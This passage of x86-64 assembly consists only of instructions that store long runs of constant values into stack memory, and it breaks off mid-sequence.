movabs rax, 0x70159aa83ae4ba
mov qword [rsp + 0xafb0], rax
mov byte [rsp + 0x1a9], 0x6a
movabs rax, 0x73a0e9269d2557
mov qword [rsp + 0xafb8], rax
movabs rax, 0x7e68af2b5d8f38
mov qword [rsp + 0xafc0], rax
mov dword [rsp + 0x571c], 0x2e01
mov eax, 0x35
mov word [rsp + 0x120c], ax
movabs rax, 0x72f334c3e09804
mov qword [rsp + 0xafc8], rax
mov dword [rsp + 0x5720], 0x28fb
movabs rax, 0x72da276500d2ad
mov qword [rsp + 0xafd0], rax
movabs rax, 0x79333bc2b4158a
mov qword [rsp + 0xafd8], rax
mov eax, 0x100
mov word [rsp + 0x1210], ax
mov dword [rsp + 0x5724], 0xdaa1
mov dword [rsp + 0x5728], 0x3a35
movabs rax, 0x7d098fa98c8bcc
mov qword [rsp + 0xafe0], rax
mov dword [rsp + 0x572c], 0xb5aa
mov eax, 0x4ea
mov word [rsp + 0x1214], ax
mov dword [rsp + 0x5730], 0xdc5
mov byte [rsp + 0x1aa], 0xb4
movabs rax, 0x7929dbadd6edaf
mov qword [rsp + 0xafe8], rax
movabs rax, 0x7c427ab42a5608
mov qword [rsp + 0xaff0], rax
mov dword [rsp + 0x5734], 0x434a
mov byte [rsp + 0x1ab], 0x22
movabs rax, 0x74d74e463804a0
mov qword [rsp + 0xaff8], rax
mov eax, 0x751
mov word [rsp + 0x1218], ax
mov dword [rsp + 0x5738], 0x18a1
mov dword [rsp + 0x573c], 0x23c9
movabs rax, 0x7513cd6d17f129
mov qword [rsp + 0xb000], rax
mov byte [rsp + 0x1ac], 0x1d
movabs rax, 0x793ff9ad399578
mov qword [rsp + 0xb008], rax
mov eax, 0x1fc
mov word [rsp + 0x121c], ax
mov dword [rsp + 0x5740], 0x405d
mov eax, 0xdd7
mov word [rsp + 0x1220], ax
mov byte [rsp + 0x1ad], 0x62
movabs rax, 0x7e3d361fc171de
mov qword [rsp + 0xb010], rax
mov byte [rsp + 0x1ae], 9
mov dword [rsp + 0x5744], 0x494b
movabs rax, 0x76d83152f2cd9f
mov qword [rsp + 0xb018], rax
mov eax, 0x3ef
mov word [rsp + 0x1224], ax
mov eax, 0xb19
mov word [rsp + 0x1228], ax
movabs rax, 0x7556d4216e9195
mov qword [rsp + 0xb020], rax
mov byte [rsp + 0x1af], 2
mov eax, 0x6af
mov word [rsp + 0x122c], ax
mov dword [rsp + 0x5748], 0x3b57
mov dword [rsp + 0x574c], 0x57e2
mov dword [rsp + 0x5750], 0x4cdd
mov eax, 0x4db
mov word [rsp + 0x1230], ax
mov dword [rsp + 0x5754], 0x72ff
movabs rax, 0x74438469cf6ff3
mov qword [rsp + 0xb028], rax
mov byte [rsp + 0x1b0], 0x73
mov eax, 0xbf0
mov word [rsp + 0x1234], ax
mov eax, 0x2ae
mov word [rsp + 0x1238], ax
mov eax, 0x4c3
mov word [rsp + 0x123c], ax
movabs rax, 0x7bd03a9f83f064
mov qword [rsp + 0xb030], rax
movabs rax, 0x7dce0d86534e3e
mov qword [rsp + 0xb038], rax
mov eax, 0x3ce
mov word [rsp + 0x1240], ax
movabs rax, 0x758c9f2bb0c831
mov qword [rsp + 0xb040], rax
mov dword [rsp + 0x5758], 0x5ebf
mov byte [rsp + 0x1b1], 0x24
mov eax, 0xdb1
mov word [rsp + 0x1244], ax
mov byte [rsp + 0x1b2], 0x26
mov dword [rsp + 0x575c], 0x2865
mov byte [rsp + 0x1b3], 0x7c
movabs rax, 0x7298ea52fac3ad
mov qword [rsp + 0xb048], rax
mov byte [rsp + 0x1b4], 0x2c
mov byte [rsp + 0x1b5], 2
mov dword [rsp + 0x5760], 0x5aaf
movabs rax, 0x76c147fda9764c
mov qword [rsp + 0xb050], rax
mov dword [rsp + 0x5764], 0xd9f
mov eax, 0x15f
mov word [rsp + 0x1248], ax
mov byte [rsp + 0x1b6], 0x45
movabs rax, 0x768935f5cfcb25
mov qword [rsp + 0xb058], rax
mov dword [rsp + 0x5768], 0x7a07
mov eax, 0xfc9
mov word [rsp + 0x124c], ax
mov byte [rsp + 0x1b7], 0xb4
movabs rax, 0x70001a418c2147
mov qword [rsp + 0xb060], rax
mov dword [rsp + 0x576c], 0x5640
movabs rax, 0x7b03e08c9094b5
mov qword [rsp + 0xb068], rax
movabs rax, 0x7928e595a310b2
mov qword [rsp + 0xb070], rax
mov byte [rsp + 0x1b8], 0x16
mov byte [rsp + 0x1b9], 0x33
mov dword [rsp + 0x5770], 0x44d3
mov dword [rsp + 0x5774], 0x6bd9
mov eax, 0xbd4
mov word [rsp + 0x1250], ax
mov eax, 0x683
mov word [rsp + 0x1254], ax
movabs rax, 0x7907001f621372
mov qword [rsp + 0xb078], rax
mov dword [rsp + 0x5778], 0x34b4
movabs rax, 0x77be86e05ae64e
mov qword [rsp + 0xb080], rax
movabs rax, 0x729817da1cacc0
mov qword [rsp + 0xb088], rax
mov eax, 0xcaf
mov word [rsp + 0x1258], ax
mov dword [rsp + 0x577c], 0x6a7f
mov dword [rsp + 0x5780], 0x10a
mov byte [rsp + 0x1ba], 0xb2
movabs rax, 0x7569f29d99ccb5
mov qword [rsp + 0xb090], rax
movabs rax, 0x7679960ba09abe
mov qword [rsp + 0xb098], rax
movabs rax, 0x70fcb8a3ed6310
mov qword [rsp + 0xb0a0], rax
mov dword [rsp + 0x5784], 0x49a3
movabs rax, 0x7da61ec78db434
mov qword [rsp + 0xb0a8], rax
mov dword [rsp + 0x5788], 0x2646
mov dword [rsp + 0x578c], 0x1d1b
mov byte [rsp + 0x1bb], 0x43
mov eax, 0xdc6
mov word [rsp + 0x125c], ax
mov eax, 0xf93
mov word [rsp + 0x1260], ax
mov dword [rsp + 0x5790], 0x6c3c
mov eax, 0x8de
mov word [rsp + 0x1264], ax
movabs rax, 0x712ca5340e79e4
mov qword [rsp + 0xb0b0], rax
movabs rax, 0x7b5ceff8e45f41
mov qword [rsp + 0xb0b8], rax
mov eax, 0xecf
mov word [rsp + 0x1268], ax
movabs rax, 0x720f2422af4b11
mov qword [rsp + 0xb0c0], rax
movabs rax, 0x758834dc096194
mov qword [rsp + 0xb0c8], rax
mov eax, 0x507
mov word [rsp + 0x126c], ax
mov byte [rsp + 0x1bc], 0x86
movabs rax, 0x7458c9a5c66bad
mov qword [rsp + 0xb0d0], rax
movabs rax, 0x796cb922c55b08
mov qword [rsp + 0xb0d8], rax
mov dword [rsp + 0x5794], 0x2cf2
movabs rax, 0x7d63ee1109aead
mov qword [rsp + 0xb0e0], rax
mov dword [rsp + 0x5798], 0xa8a
mov byte [rsp + 0x1bd], 0x67
mov dword [rsp + 0x579c], 0x7e0f
mov eax, 0x222
mov word [rsp + 0x1270], ax
mov eax, 0xed7
mov word [rsp + 0x1274], ax
mov byte [rsp + 0x1be], 0x72
movabs rax, 0x7055d69e67264f
mov qword [rsp + 0xb0e8], rax
movabs rax, 0x710433b672d68b
mov qword [rsp + 0xb0f0], rax
mov dword [rsp + 0x57a0], 0xcd57
mov eax, 0xfd
mov word [rsp + 0x1278], ax
mov byte [rsp + 0x1bf], 0xe1
mov byte [rsp + 0x1c0], 0x5b
movabs rax, 0x724ebe7a4fac20
mov qword [rsp + 0xb0f8], rax
mov eax, 0x380
mov word [rsp + 0x127c], ax
mov dword [rsp + 0x57a4], 0xe4e4
mov byte [rsp + 0x1c1], 0x89
movabs rax, 0x7e20cdf4da8ae3
mov qword [rsp + 0xb100], rax
mov byte [rsp + 0x1c2], 0xd4
movabs rax, 0x72232a314749ef
mov qword [rsp + 0xb108], rax
movabs rax, 0x75679899bebd12
mov qword [rsp + 0xb110], rax
mov byte [rsp + 0x1c3], 9
mov eax, 0x417
mov word [rsp + 0x1280], ax
mov eax, 0x1ec
mov word [rsp + 0x1284], ax
movabs rax, 0x7c0d650a35b2b1
mov qword [rsp + 0xb118], rax
movabs rax, 0x7e5fb265961abb
mov qword [rsp + 0xb120], rax
mov byte [rsp + 0x1c4], 0x4c
mov byte [rsp + 0x1c5], 0xf0
movabs rax, 0x7a457b6520edee
mov qword [rsp + 0xb128], rax
mov dword [rsp + 0x57a8], 0x6037
mov dword [rsp + 0x57ac], 0x1109
movabs rax, 0x7e5f5be6dc0547
mov qword [rsp + 0xb130], rax
mov byte [rsp + 0x1c6], 0x72
mov dword [rsp + 0x57b0], 0x1c70
mov byte [rsp + 0x1c7], 0xc3
mov byte [rsp + 0x1c8], 0xc2
movabs rax, 0x771cfe40441962
mov qword [rsp + 0xb138], rax
mov dword [rsp + 0x57b4], 0x1e59
mov dword [rsp + 0x57b8], 0xd1d3
movabs rax, 0x7569101dbcc540
mov qword [rsp + 0xb140], rax
mov eax, 0x389
mov word [rsp + 0x1288], ax
movabs rax, 0x76d3410e7aefdd
mov qword [rsp + 0xb148], rax
movabs rax, 0x74b476e2911624
mov qword [rsp + 0xb150], rax
mov byte [rsp + 0x1c9], 0x32
movabs rax, 0x72e7606a2a89cc
mov qword [rsp + 0xb158], rax
mov byte [rsp + 0x1ca], 0x33
mov eax, 0x331
mov word [rsp + 0x128c], ax
movabs rax, 0x76e562157bd674
mov qword [rsp + 0xb160], rax
mov eax, 0xb4f
mov word [rsp + 0x1290], ax
movabs rax, 0x7df19fe5ac6c67
mov qword [rsp + 0xb168], rax
mov eax, 0x7ea
mov word [rsp + 0x1294], ax
mov eax, 0x681
mov word [rsp + 0x1298], ax
mov byte [rsp + 0x1cb], 0x38
movabs rax, 0x79e8a012ec4b30
mov qword [rsp + 0xb170], rax
mov dword [rsp + 0x57bc], 0x84f5
mov eax, 0x67a
mov word [rsp + 0x129c], ax
movabs rax, 0x7d260e30340668
mov qword [rsp + 0xb178], rax
mov dword [rsp + 0x57c0], 0x3e11
mov eax, 0x87
mov word [rsp + 0x12a0], ax
mov eax, 0x3a1
mov word [rsp + 0x12a4], ax
mov eax, 0x72b
mov word [rsp + 0x12a8], ax
mov dword [rsp + 0x57c4], 0xedb8
mov eax, 0x6fb
mov word [rsp + 0x12ac], ax
mov byte [rsp + 0x1cc], 0x13
mov byte [rsp + 0x1cd], 0x45
mov eax, 0x818
mov word [rsp + 0x12b0], ax
mov eax, 0x1e4
mov word [rsp + 0x12b4], ax
mov eax, 0xcc3
mov word [rsp + 0x12b8], ax
movabs rax, 0x77fd3b5bff830c
mov qword [rsp + 0xb180], rax
mov byte [rsp + 0x1ce], 0x89
mov eax, 0x4c4
mov word [rsp + 0x12bc], ax
mov dword [rsp + 0x57c8], 0x13c2
movabs rax, 0x7c5847073c0b0d
mov qword [rsp + 0xb188], rax
movabs rax, 0x780215bc4bef53
mov qword [rsp + 0xb190], rax
movabs rax, 0x76f9146e8e2900
mov qword [rsp + 0xb198], rax
movabs rax, 0x7db472dd4bca77
mov qword [rsp + 0xb1a0], rax
mov eax, 0x41e
mov word [rsp + 0x12c0], ax
mov eax, 0x83e
mov word [rsp + 0x12c4], ax
movabs rax, 0x77baadf0f060cc
mov qword [rsp + 0xb1a8], rax
mov dword [rsp + 0x57cc], 0x6bce
mov eax, 0x7e
mov word [rsp + 0x12c8], ax
movabs rax, 0x71699838970065
mov qword [rsp + 0xb1b0], rax
mov eax, 0xa00
mov word [rsp + 0x12cc], ax
mov byte [rsp + 0x1cf], 0xa3
mov dword [rsp + 0x57d0], 0xddf0
mov eax, 0x360
mov word [rsp + 0x12d0], ax
mov byte [rsp + 0x1d0], 0x28
mov byte [rsp + 0x1d1], 0x2c
mov byte [rsp + 0x1d2], 0x38
movabs rax, 0x79cc29b28f0f02
mov qword [rsp + 0xb1b8], rax
mov eax, 0x47
mov word [rsp + 0x12d4], ax
movabs rax, 0x772a9bb036396c
mov qword [rsp + 0xb1c0], rax
movabs rax, 0x7d18a7e483c427
mov qword [rsp + 0xb1c8], rax
movabs rax, 0x778965f9b94014
mov qword [rsp + 0xb1d0], rax
mov dword [rsp + 0x57d4], 0xaa4d
movabs rax, 0x7a73b1dedd859c
mov qword [rsp + 0xb1d8], rax
mov dword [rsp + 0x57d8], 0x75b1
mov byte [rsp + 0x1d3], 0xee
mov byte [rsp + 0x1d4], 0x1c
mov dword [rsp + 0x57dc], 0xf190
mov eax, 0x46c
mov word [rsp + 0x12d8], ax
mov eax, 0xd1
mov word [rsp + 0x12dc], ax
movabs rax, 0x786dc767872eb1
mov qword [rsp + 0xb1e0], rax
mov dword [rsp + 0x57e0], 0x8c16
mov byte [rsp + 0x1d5], 0x2b
mov byte [rsp + 0x1d6], 0xd3
mov eax, 0x98b
mov word [rsp + 0x12e0], ax
mov dword [rsp + 0x57e4], 0x65a0
movabs rax, 0x7cc4a67660bac7
mov qword [rsp + 0xb1e8], rax
mov dword [rsp + 0x57e8], 0x71fb
mov eax, 0x211
mov word [rsp + 0x12e4], ax
mov dword [rsp + 0x57ec], 0x44a0
mov byte [rsp + 0x1d7], 0x3d
movabs rax, 0x7ce79524289c6d
mov qword [rsp + 0xb1f0], rax
mov byte [rsp + 0x1d8], 0x57
mov dword [rsp + 0x57f0], 0xe15
mov dword [rsp + 0x57f4], 0x6592
mov byte [rsp + 0x1d9], 2
mov byte [rsp + 0x1da], 0xc1
mov byte [rsp + 0x1db], 0x67
movabs rax, 0x708cc7e61aec2b
mov qword [rsp + 0xb1f8], rax
mov dword [rsp + 0x57f8], 0x43fb
mov eax, 0xa5e
mov word [rsp + 0x12e8], ax
mov byte [rsp + 0x1dc], 0x47
mov eax, 0x86a
mov word [rsp + 0x12ec], ax
mov dword [rsp + 0x57fc], 0x78df
mov eax, 0xbc3
mov word [rsp + 0x12f0], ax
mov dword [rsp + 0x5800], 0xd794
mov dword [rsp + 0x5804], 0x56e1
mov eax, 0x5aa
mov word [rsp + 0x12f4], ax
movabs rax, 0x7a4266bc6e98e5
mov qword [rsp + 0xb200], rax
mov eax, 0x54
mov word [rsp + 0x12f8], ax
movabs rax, 0x720d5fc6b8c5ac
mov qword [rsp + 0xb208], rax
mov byte [rsp + 0x1dd], 0xae
mov eax, 0x87d
mov word [rsp + 0x12fc], ax
mov eax, 0x190
mov word [rsp + 0x1300], ax
mov eax, 0x1ee
mov word [rsp + 0x1304], ax
mov dword [rsp + 0x5808], 0x45c9
mov dword [rsp + 0x580c], 0x5c6b
mov byte [rsp + 0x1de], 0x67
mov byte [rsp + 0x1df], 0xad
movabs rax, 0x79230dfaccb0a5
mov qword [rsp + 0xb210], rax
mov dword [rsp + 0x5810], 0x3b0b
movabs rax, 0x7930190e022427
mov qword [rsp + 0xb218], rax
mov eax, 0xed
mov word [rsp + 0x1308], ax
mov dword [rsp + 0x5814], 0x8f37
movabs rax, 0x7289e331e83fa8
mov qword [rsp + 0xb220], rax
movabs rax, 0x7d372f14f4c64d
mov qword [rsp + 0xb228], rax
mov eax, 0x524
mov word [rsp + 0x130c], ax
mov byte [rsp + 0x1e0], 0x38
mov eax, 0x61a
mov word [rsp + 0x1310], ax
mov dword [rsp + 0x5818], 0x5139
mov eax, 0x4f9
mov word [rsp + 0x1314], ax
mov eax, 0x434
mov word [rsp + 0x1318], ax
mov eax, 0x23d
mov word [rsp + 0x131c], ax
movabs rax, 0x74a4ffa552ce9a
mov qword [rsp + 0xb230], rax
mov byte [rsp + 0x1e1], 0xee
mov dword [rsp + 0x581c], 0xf02
mov dword [rsp + 0x5820], 0x6e31
movabs rax, 0x784776571adf5b
mov qword [rsp + 0xb238], rax
mov eax, 0xba4
mov word [rsp + 0x1320], ax
movabs rax, 0x70716a29059a12
mov qword [rsp + 0xb240], rax
mov dword [rsp + 0x5824], 0x120b
mov dword [rsp + 0x5828], 0x8527
mov eax, 0x8ac
mov word [rsp + 0x1324], ax
mov eax, 0x102
mov word [rsp + 0x1328], ax
mov dword [rsp + 0x582c], 0x1c94
mov dword [rsp + 0x5830], 0x7083
mov eax, 0xe7d
mov word [rsp + 0x132c], ax
mov dword [rsp + 0x5834], 0xc7e8
mov eax, 0x6f5
mov word [rsp + 0x1330], ax
movabs rax, 0x797f725ef2fbae
mov qword [rsp + 0xb248], rax
mov byte [rsp + 0x1e2], 0xd0
movabs rax, 0x705f4682a3679f
mov qword [rsp + 0xb250], rax
mov eax, 0x6ce
mov word [rsp + 0x1334], ax
movabs rax, 0x77749cba8fece1
mov qword [rsp + 0xb258], rax
movabs rax, 0x7c97d9c77f10fb
mov qword [rsp + 0xb260], rax
mov eax, 0x27e
mov word [rsp + 0x1338], ax
mov dword [rsp + 0x5838], 0x7a52
movabs rax, 0x7d399128706520
mov qword [rsp + 0xb268], rax
movabs rax, 0x75fc1105738870
mov qword [rsp + 0xb270], rax
mov byte [rsp + 0x1e3], 0x6e
movabs rax, 0x73282353f31804
mov qword [rsp + 0xb278], rax
mov eax, 0x8c3
mov word [rsp + 0x133c], ax
mov byte [rsp + 0x1e4], 0x8f
mov byte [rsp + 0x1e5], 0x16
mov dword [rsp + 0x583c], 0x3710
mov eax, 0x675
mov word [rsp + 0x1340], ax
movabs rax, 0x7cb1fc80ca4c63
mov qword [rsp + 0xb280], rax
mov eax, 0x2b0
mov word [rsp + 0x1344], ax
movabs rax, 0x79f872f26d11a5
mov qword [rsp + 0xb288], rax
mov dword [rsp + 0x5840], 0x52fa
mov byte [rsp + 0x1e6], 0x66
mov eax, 0x761
mov word [rsp + 0x1348], ax
mov byte [rsp + 0x1e7], 0x32
mov dword [rsp + 0x5844], 0x4883
mov byte [rsp + 0x1e8], 0xc4
mov eax, 0x9e3
mov word [rsp + 0x134c], ax
mov eax, 0xe5d
mov word [rsp + 0x1350], ax
mov eax, 0x974
mov word [rsp + 0x1354], ax
mov dword [rsp + 0x5848], 0x7dc6
movabs rax, 0x70068fbe19a941
mov qword [rsp + 0xb290], rax
mov byte [rsp + 0x1e9], 0xd7
mov eax, 0xd26
mov word [rsp + 0x1358], ax
mov eax, 0xe9c
mov word [rsp + 0x135c], ax
mov dword [rsp + 0x584c], 0x1929
movabs rax, 0x74becd31338f95
mov qword [rsp + 0xb298], rax
mov dword [rsp + 0x5850], 0x5b4
mov dword [rsp + 0x5854], 0x6226
mov eax, 0x501
mov word [rsp + 0x1360], ax
movabs rax, 0x74afd2c9f39c47
mov qword [rsp + 0xb2a0], rax
movabs rax, 0x761983af28b758
mov qword [rsp + 0xb2a8], rax
movabs rax, 0x76616ec6879845
mov qword [rsp + 0xb2b0], rax
mov byte [rsp + 0x1ea], 0xac
mov eax, 0xae2
mov word [rsp + 0x1364], ax
mov dword [rsp + 0x5858], 0x77f
mov dword [rsp + 0x585c], 0x1e2b
movabs rax, 0x78a82cfb716a52
mov qword [rsp + 0xb2b8], rax
movabs rax, 0x72eab232f3c439
mov qword [rsp + 0xb2c0], rax
mov dword [rsp + 0x5860], 0x3be7
mov eax, 0x4f7
mov word [rsp + 0x1368], ax
mov byte [rsp + 0x1eb], 0xee
mov eax, 0xab1
mov word [rsp + 0x136c], ax
mov dword [rsp + 0x5864], 0x6638
mov eax, 0x9ed
mov word [rsp + 0x1370], ax
mov dword [rsp + 0x5868], 0xfaf4
movabs rax, 0x7b3ea04d121d4b
mov qword [rsp + 0xb2c8], rax
mov byte [rsp + 0x1ec], 0x24
movabs rax, 0x7c1c01e48a5f69
mov qword [rsp + 0xb2d0], rax
mov eax, 0x34f
mov word [rsp + 0x1374], ax
movabs rax, 0x78a86593ce73ac
mov qword [rsp + 0xb2d8], rax
mov eax, 0x197
mov word [rsp + 0x1378], ax
mov eax, 0x27d
mov word [rsp + 0x137c], ax
mov byte [rsp + 0x1ed], 0xa2
mov eax, 0x91a
mov word [rsp + 0x1380], ax
mov byte [rsp + 0x1ee], 0x86
mov dword [rsp + 0x586c], 0x288b
mov eax, 0x6a0
mov word [rsp + 0x1384], ax
mov eax, 0x9c6
mov word [rsp + 0x1388], ax
mov byte [rsp + 0x1ef], 0x78
movabs rax, 0x7d1e03f20ce65c
mov qword [rsp + 0xb2e0], rax
mov dword [rsp + 0x5870], 0x7407
movabs rax, 0x73c501bbcf67c4
mov qword [rsp + 0xb2e8], rax
movabs rax, 0x79841f471f7a81
mov qword [rsp + 0xb2f0], rax
mov eax, 0x2b
mov word [rsp + 0x138c], ax
mov byte [rsp + 0x1f0], 0x28
mov eax, 0x350
mov word [rsp + 0x1390], ax
mov byte [rsp + 0x1f1], 0x91
mov byte [rsp + 0x1f2], 0x90
mov eax, 0x1c6
mov word [rsp + 0x1394], ax
mov byte [rsp + 0x1f3], 0
mov dword [rsp + 0x5874], 0xf35
mov byte [rsp + 0x1f4], 0xb
mov eax, 0x311
mov word [rsp + 0x1398], ax
movabs rax, 0x7b97d3f2f9405b
mov qword [rsp + 0xb2f8], rax
mov eax, 0x53f
mov word [rsp + 0x139c], ax
mov byte [rsp + 0x1f5], 0x3f
mov eax, 0xd
mov word [rsp + 0x13a0], ax
mov byte [rsp + 0x1f6], 0x1a
mov dword [rsp + 0x5878], 0xb335
mov byte [rsp + 0x1f7], 8
mov dword [rsp + 0x587c], 0x4d80
mov dword [rsp + 0x5880], 0x7769
mov dword [rsp + 0x5884], 0x546d
mov eax, 0xe55
mov word [rsp + 0x13a4], ax
mov byte [rsp + 0x1f8], 0x3f
mov byte [rsp + 0x1f9], 0x5a
movabs rax, 0x75d9cf234d285b
mov qword [rsp + 0xb300], rax
mov byte [rsp + 0x1fa], 0xdb
movabs rax, 0x77ae909b27ff79
mov qword [rsp + 0xb308], rax
movabs rax, 0x783033052ea48d
mov qword [rsp + 0xb310], rax
mov eax, 0xc2d
mov word [rsp + 0x13a8], ax
mov dword [rsp + 0x5888], 0x5c09
movabs rax, 0x75335b949558e2
mov qword [rsp + 0xb318], rax
mov eax, 0x13f
mov word [rsp + 0x13ac], ax
mov byte [rsp + 0x1fb], 0x12
mov dword [rsp + 0x588c], 0x1d12
movabs rax, 0x77cb16747770b0
mov qword [rsp + 0xb320], rax
movabs rax, 0x7dd0ad7dad0900
mov qword [rsp + 0xb328], rax
mov dword [rsp + 0x5890], 0x4c7d
mov byte [rsp + 0x1fc], 0x2f
mov dword [rsp + 0x5894], 0xb55b
mov eax, 0x5d2
mov word [rsp + 0x13b0], ax
movabs rax, 0x733ea87f075cc1
mov qword [rsp + 0xb330], rax
mov dword [rsp + 0x5898], 0xee48
mov byte [rsp + 0x1fd], 0x37
mov eax, 0xf0d
mov word [rsp + 0x13b4], ax
mov dword [rsp + 0x589c], 0x2590
mov dword [rsp + 0x58a0], 0x4e6c
movabs rax, 0x7908d3e60ac2ce
mov qword [rsp + 0xb338], rax
mov dword [rsp + 0x58a4], 0x701a
movabs rax, 0x7a847437e54edf
mov qword [rsp + 0xb340], rax
mov eax, 0x66f
mov word [rsp + 0x13b8], ax
movabs rax, 0x7a32bf4c2a0411
mov qword [rsp + 0xb348], rax
mov eax, 0x7fa
mov word [rsp + 0x13bc], ax
mov dword [rsp + 0x58a8], 0x4871
movabs rax, 0x7c2d0288c940c1
mov qword [rsp + 0xb350], rax
mov dword [rsp + 0x58ac], 0x386a
mov eax, 0x4c3
mov word [rsp + 0x13c0], ax
mov eax, 0x2be
mov word [rsp + 0x13c4], ax
mov eax, 0xde3
mov word [rsp + 0x13c8], ax
movabs rax, 0x7d9b727230f21c
mov qword [rsp + 0xb358], rax
mov byte [rsp + 0x1fe], 0x5f
mov dword [rsp + 0x58b0], 0xdab
mov byte [rsp + 0x1ff], 0x1e
movabs rax, 0x7a14e03a6dcf1b
mov qword [rsp + 0xb360], rax
mov dword [rsp + 0x58b4], 0x3e9a
mov dword [rsp + 0x58b8], 0x433d
mov eax, 0xa1c
mov word [rsp + 0x13cc], ax
mov dword [rsp + 0x58bc], 0x2dbe
mov byte [rsp + 0x200], 0xc7
mov dword [rsp + 0x58c0], 0x4bd0
mov byte [rsp + 0x201], 0x70
mov eax, 0x324
mov word [rsp + 0x13d0], ax
mov byte [rsp + 0x202], 0x2c
mov eax, 0x628
mov word [rsp + 0x13d4], ax
mov byte [rsp + 0x203], 9
mov eax, 0xa63
mov word [rsp + 0x13d8], ax
mov eax, 0x5f3
mov word [rsp + 0x13dc], ax
mov eax, 0x4f8
mov word [rsp + 0x13e0], ax
movabs rax, 0x7b1a524e52bd88
mov qword [rsp + 0xb368], rax
movabs rax, 0x725340f385492f
mov qword [rsp + 0xb370], rax
mov dword [rsp + 0x58c4], 0x48cf
mov eax, 0xf33
mov word [rsp + 0x13e4], ax
mov eax, 0xee9
mov word [rsp + 0x13e8], ax
movabs rax, 0x7c731c9c39e455
mov qword [rsp + 0xb378], rax
movabs rax, 0x705e49944fd0ad
mov qword [rsp + 0xb380], rax
movabs rax, 0x76974635a2da24
mov qword [rsp + 0xb388], rax
movabs rax, 0x7bd5f2aa146d1b
mov qword [rsp + 0xb390], rax
mov eax, 0x522
mov word [rsp + 0x13ec], ax
mov byte [rsp + 0x204], 0x60
mov eax, 0x4c9
mov word [rsp + 0x13f0], ax
movabs rax, 0x778b5bb88cf663
mov qword [rsp + 0xb398], rax
mov byte [rsp + 0x205], 4
mov dword [rsp + 0x58c8], 0xbaf3
mov eax, 0x778
mov word [rsp + 0x13f4], ax
mov eax, 0x655
mov word [rsp + 0x13f8], ax
movabs rax, 0x70241e8a969633
mov qword [rsp + 0xb3a0], rax
mov eax, 0x282
mov word [rsp + 0x13fc], ax
mov eax, 0xd3a
mov word [rsp + 0x1400], ax
mov eax, 0x3f1
mov word [rsp + 0x1404], ax
mov dword [rsp + 0x58cc], 0x5e44
movabs rax, 0x786247471f8571
mov qword [rsp + 0xb3a8], rax
mov dword [rsp + 0x58d0], 0x1833
movabs rax, 0x7ba58b7a7860e8
mov qword [rsp + 0xb3b0], rax
movabs rax, 0x79bba59cdb70a0
mov qword [rsp + 0xb3b8], rax
mov eax, 0x4ca
mov word [rsp + 0x1408], ax
mov eax, 0x412
mov word [rsp + 0x140c], ax
mov dword [rsp + 0x58d4], 0x9509
mov eax, 0x490
mov word [rsp + 0x1410], ax
mov eax, 0xd2b
mov word [rsp + 0x1414], ax
mov eax, 0xca
mov word [rsp + 0x1418], ax
mov dword [rsp + 0x58d8], 0x4d6e
mov byte [rsp + 0x206], 0xb6
mov eax, 0x526
mov word [rsp + 0x141c], ax
mov eax, 0xd67
mov word [rsp + 0x1420], ax
mov dword [rsp + 0x58dc], 0xee8f
mov dword [rsp + 0x58e0], 0xcab
movabs rax, 0x75ddf3a1d48aa8
mov qword [rsp + 0xb3c0], rax
movabs rax, 0x7d37f41ceca8de
mov qword [rsp + 0xb3c8], rax
mov dword [rsp + 0x58e4], 0x4431
mov byte [rsp + 0x207], 0xee
movabs rax, 0x706f07068cf20a
mov qword [rsp + 0xb3d0], rax
mov dword [rsp + 0x58e8], 0x2dec
movabs rax, 0x7b5e900a6a6ddf
mov qword [rsp + 0xb3d8], rax
mov dword [rsp + 0x58ec], 0x5eb4
mov byte [rsp + 0x208], 0x32
mov eax, 0xab8
mov word [rsp + 0x1424], ax
mov dword [rsp + 0x58f0], 0x2395
mov dword [rsp + 0x58f4], 0x96
mov eax, 0x274
mov word [rsp + 0x1428], ax
mov eax, 0xca9
mov word [rsp + 0x142c], ax
mov byte [rsp + 0x209], 0x59
mov byte [rsp + 0x20a], 0x3b
mov eax, 0x2dc
mov word [rsp + 0x1430], ax
movabs rax, 0x712f69260d0edb
mov qword [rsp + 0xb3e0], rax
movabs rax, 0x78afe251654c85
mov qword [rsp + 0xb3e8], rax
movabs rax, 0x72142f3e144aef
mov qword [rsp + 0xb3f0], rax
mov byte [rsp + 0x20b], 0x5d
movabs rax, 0x7e820434b7d773
mov qword [rsp + 0xb3f8], rax
movabs rax, 0x7d4ce47b192319
mov qword [rsp + 0xb400], rax
mov byte [rsp + 0x20c], 0x46
movabs rax, 0x7c1b1b4093fcab
mov qword [rsp + 0xb408], rax
mov eax, 0xbb
mov word [rsp + 0x1434], ax
mov eax, 0x7d9
mov word [rsp + 0x1438], ax
mov byte [rsp + 0x20d], 0x11
mov eax, 0x3c5
mov word [rsp + 0x143c], ax
mov eax, 0x6f
mov word [rsp + 0x1440], ax
movabs rax, 0x75f630a338b6f3
mov qword [rsp + 0xb410], rax
mov eax, 0x7dc
mov word [rsp + 0x1444], ax
mov dword [rsp + 0x58f8], 0xc7c8
mov byte [rsp + 0x20e], 0x59
mov byte [rsp + 0x20f], 0xa8
movabs rax, 0x740cef8f485093
mov qword [rsp + 0xb418], rax
mov eax, 0x3ae
mov word [rsp + 0x1448], ax
mov dword [rsp + 0x58fc], 0x991f
mov dword [rsp + 0x5900], 0xfddb
mov eax, 0xcc3
mov word [rsp + 0x144c], ax
mov byte [rsp + 0x210], 0x48
mov dword [rsp + 0x5904], 0x3919
mov byte [rsp + 0x211], 0x24
movabs rax, 0x79d80c7212f2d2
mov qword [rsp + 0xb420], rax
mov dword [rsp + 0x5908], 0x2b5b
mov byte [rsp + 0x212], 0x38
mov dword [rsp + 0x590c], 0x20d8
movabs rax, 0x72fef3d3b56cdd
mov qword [rsp + 0xb428], rax
movabs rax, 0x7d260064a995cd
mov qword [rsp + 0xb430], rax
movabs rax, 0x79a7dfd1c0caa0
mov qword [rsp + 0xb438], rax
mov dword [rsp + 0x5910], 0x1f33
mov byte [rsp + 0x213], 0xf
movabs rax, 0x7c36db4484bbdc
mov qword [rsp + 0xb440], rax
mov eax, 0x394
mov word [rsp + 0x1450], ax
movabs rax, 0x79d24c6c05e579
mov qword [rsp + 0xb448], rax
mov dword [rsp + 0x5914], 0x2d47
mov dword [rsp + 0x5918], 0x4972
mov eax, 0x708
mov word [rsp + 0x1454], ax
mov dword [rsp + 0x591c], 0x1179
mov byte [rsp + 0x214], 0x5a
mov eax, 0xadc
mov word [rsp + 0x1458], ax
mov byte [rsp + 0x215], 0xd8
movabs rax, 0x7eea04a87fb0a2
mov qword [rsp + 0xb450], rax
mov byte [rsp + 0x216], 0x67
movabs rax, 0x78b69511759850
